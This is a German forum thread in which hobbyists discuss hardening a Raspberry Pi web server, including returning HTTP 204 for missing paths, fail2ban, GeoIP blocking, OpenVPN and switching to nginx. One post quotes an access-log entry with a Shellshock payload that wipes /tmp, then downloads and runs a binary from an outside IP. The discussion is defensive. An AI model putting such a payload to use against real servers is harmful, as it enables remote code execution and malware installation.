Webserver nicht antworten lassen - HTTP 204

Heute ist Stammtischzeit:
Jeden Donnerstag 20:30 Uhr hier im Chat.
Wer Lust hat, kann sich gerne beteiligen. ;)
  • Ich habe meinen Webserver (auf dem Pi) gerade so eingerichtet, dass er bei einer Anfrage für ein Verzeichnis oder ein Dokument, das nicht existiert, den HTTP-Code 204 zurücksendet anstatt 404 oder 403.

    Nun frage ich mich, ob das sinnvoll ist und ob man so tatsächlich Traffic, der eventuell abgehört werden kann, sparen kann.

    Erklärung des 204-Verhaltens:
    der Browser verhält sich bei HTTP 204 so, als ob man die URL-Zeile leer lässt und dann Enter drückt.

    Ich dachte halt ich sende 204 zurück, denn auf diese Art und Weise kann ein Angreifer nicht testen, welche Verzeichnisse und Dateien eventuell existieren und welche nicht (glaube ich jedenfalls und so macht man es ihnen komplizierter).

    Was sagt ihr dazu?

  • Ich denke das bringt nichts. Meinst Du da sitzt noch einer vor der Tastatur?

    Auf meinen Webservern, welche recht wenig Traffic haben bzw. kaum bekannt sind, werden die "Angriffsziele" mit Skripts abgefragt.

    Z.B.:

    Ich denke mal, dass das Skript eher auf Statuscode 200 wartet und der Rest dem egal ist.

    Viele Grüße
    Olaf

    Wer nicht gekennzeichnete Rechtschreibfehler findet darf sie gerne behalten..

  • Wieso finde ich denn WebDAV nicht in der Liste? Bis vor ein paar Jahren war das doch total "in" danach zu prüfen :D

  • Das fragst Du mich? Ich war das "Opfer" nicht der "Täter" :)

    Meine Server werden nicht represantativ sein. Der "Kerl" wird durch Zufall auf die IP-Adresse gekommen sein.

    Solche Einträge habe ich auch nur ein bis zwei Mal in der Woche ...

    Wer nicht gekennzeichnete Rechtschreibfehler findet darf sie gerne behalten..

  • Das ist leider noch immer viel zu oft. Schon vor Jahren war das mehrmals die Woche üblich.
    Damit lässt sich kurz zusammenfassen, dass es nichts bringt den Apache großartig abzuschotten ;)

    Was ich mir eventuell überlegt hatte ist, nicht-europäische IP-Bereiche zu blocken und zusätzlich nicht-Elite-Proxys.

  • Nöö im Prinzip sind mir solche Scans egal, solange sie keinen Schaden anrichten.

  • Hi Micha,


    ... solange sie keinen Schaden anrichten.


    Du bist, mit Verlaub, schon ein putziges Kerlchen ... :lol:
    Ein scan richtet niemals Schaden an ... das dicke Ende kommt später ;)
    nix für ungut ...

    btw: das Listen von Verzeichnisinhalten kannst Du afaik in der httpd.conf durch entfernen des Schlüsselworts "Indexes" unterbinden ...

    //EDIT: ach ja ... scans sollte durch Anlegen einer robots.txt unterbunden werde, sofern die bots resp. spider webkonform sind.
    Frag mich jetzt aber nicht, was da drin stehen muss ... das hab' ich schon lange wieder verdrängt :)

    -ds-

  • Ja, das mit dem "Schaden".. der Satz war nicht richtig ausformuliert :P

    Mein Webserver stellt eh kein interessantes Ziel dar. Viele prüfen ja systematisch die Verzeichnisse durch, bis sie HTTP 200 oder 403 zurückbekommen.
    Auf meinem Server gibt es nur ein einziges Verzeichnis :P Könnte also etwas dauern.


  • Ein scan richtet niemals Schaden an ... das dicke Ende kommt später ;)

    Durch "normale" Verzeichnisraterei wird von dem "Kracker" wohl nicht mehr viel kommen. Vielleicht probiert er es irgendwann noch mal bei mir. Der wird sich die nächsten Webserver suchen und da sein Glück versuchen.

    Intresannter sind dann schon solche Sachen :baeh2: :

    Code
    58.213.xxx.107 - - [17/May/2015:09:13:43 +0200] "GET / HTTP/1.1" 200 741 "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://115.238.xxx.180:991/26 -O /tmp/China.Z-ucmr >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-ucmr >> /tmp/Run.sh;echo /tmp/China.Z-ucmr >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://115.238.246.xxx:991/26 -O /tmp/China.Z-ucmr >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-ucmr >> /tmp/Run.sh;echo /tmp/China.Z-ucmr >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\""

    Da kann man sich dann Sorgen drum machen

    Wer nicht gekennzeichnete Rechtschreibfehler findet darf sie gerne behalten..

  • Ich sehe schon... komplette Befehle die da übergeben werden. Richtig böse so etwas.

  • Demnach ist fail2ban auch vollkommen übertrieben schätze ich, oder?

    Denn ich habe mir fail2ban für meine ownCloud eingerichtet (Timeout nach x fehlgeschlagenen Loginversuchen)
    und Ban für Search-Robots.

  • Mmh, ja doch.

    Bei mir gibt es fast nichts zum Einloggen / Eingeben. Die Seiten sollten auch keiner Suchmaschine bekannt sein.
    Bis auf ein Gästebuch. Da war es irgendwann (nach dem dritten Eintrag) nervig die Werbung oder den Müll zu löschen.
    Na ja. GeoIP scheint zu helfen. Wenn das nichts hilft, dann wird das Gästebuchhalt geschlossen.

    Wenn ich ownCloud frei im Internet zugänglich machen würde, dann nur mit Selbsverteidigung (Yubikey, fail2ban usw.).
    Vorrangig mit einem Yubikey absichern.
    Mein ownCloud höhrt nur auf OpenVPN-Verbindung. Da komme ich nur von zuhause drauf.

    Leider weiß man nicht wann was wie passieren kann. Aber bei manchen Dingen muss man (privat) halt entspannt bleiben. Siehe oberen Log-Einträge.
    Bei DoS-Angriffen, zum Beispiel, ist man als Endstelle einfach Machtlos. Das muss vor dem Server abgefangen werden. Oder man wechselt die IP-Adresse.

    Deshalb möglichst weit "vorne" ansetzen.
    Yubikey: Ohne den kommt man halt nicht weiter
    OpenVPN: Ohne Tunnel ist die Site nicht vorhanden
    DoS-Angriffe: Da muss der Rechenzentrumsbetreiber helfen

    Viele Grüße
    Olaf

    Wer nicht gekennzeichnete Rechtschreibfehler findet darf sie gerne behalten..

  • Ich habe nun nach langer Anpassungs- und Konfigurationszeit apache2 durch nginx ersetzt.
    Der Performancezuwachs ist, sagen wir mal, extrem. Ich hätte nicht gedacht, dass sich apache2 so dermaßen selbst ausbremst!

    fail2ban schützt meine ownCloud-Loginmaske.
    Außerdem werden Suchmaschinen-robots gebannt.
    Und zu guter Letzt "schützt" fail2ban den nginx-Server.

    Meinen fstab-Eintrag habe ich auch wieder auskommentiert, da sonst die nginx-Logs nach jedem Neustart des Pi's gelöscht werden:

    Code
    none      /var/log        tmpfs   size=5M,noatime   0       0

Jetzt mitmachen!

Du hast noch kein Benutzerkonto auf unserer Seite? Registriere dich kostenlos und nimm an unserer Community teil!